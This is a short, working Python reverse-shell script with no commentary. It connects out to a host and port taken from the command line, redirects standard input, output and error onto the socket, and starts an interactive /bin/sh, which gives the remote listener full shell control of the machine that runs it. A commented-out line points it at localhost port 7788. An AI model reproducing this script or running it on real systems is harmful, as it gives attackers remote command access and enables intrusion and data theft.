#!/usr/bin/python
import sys

def reverse_connect(server_addr):
	import socket, subprocess, os
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
	s.connect(server_addr)
	os.dup2(s.fileno(), 0)
	os.dup2(s.fileno(), 1)
	os.dup2(s.fileno(), 2)
	p = subprocess.call(["/bin/sh", "-i"])

if __name__ == '__main__':
	#reverse_connect(('localhost', 7788))
	sys.exit(reverse_connect((sys.argv[1], int(sys.argv[2]))))
